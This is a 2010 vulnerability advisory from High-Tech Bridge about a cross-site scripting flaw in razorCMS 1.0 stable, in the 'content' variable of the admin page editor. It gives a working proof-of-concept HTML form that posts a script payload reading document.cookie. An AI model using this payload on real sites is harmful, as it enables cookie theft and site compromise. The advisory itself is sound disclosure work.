Razor CMS 1.0 Stable Cross Site Scripting

Type packetstorm
Reporter High-Tech Bridge SA
Modified 2010-05-26T00:00:00


                                            `Vulnerability ID: HTB22376  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_razorcms.html  
Product: razorCMS  
Vendor: morgan integrated systems limited  
Vulnerable Version: 1.0 stable  
Vendor Notification: 10 May 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)   
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.   
The vulnerability exists due to failure in the "/admin/core/admin_func.php" script to properly sanitize user-supplied input in "content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
An attacker can use browser to exploit this vulnerability. The following PoC is available:   
<form action="http://example.com/admin/?action=edit&slab=home" method="post" name="main" >  
<input type="hidden" name="title" value="Home" />  
<input name="content" type="hidden" value='hello"><script>alert("2"+document.cookie)</script>' />  
<input type="hidden" name="ptitle" value="" />  
<input type="hidden" name="theme" value="theme-default" />  
<input type="hidden" name="check_sidebar" value="sidebar" />  
<input type="hidden" name="save" value="Save Content" />  
Solution: Upgrade to the most recent verison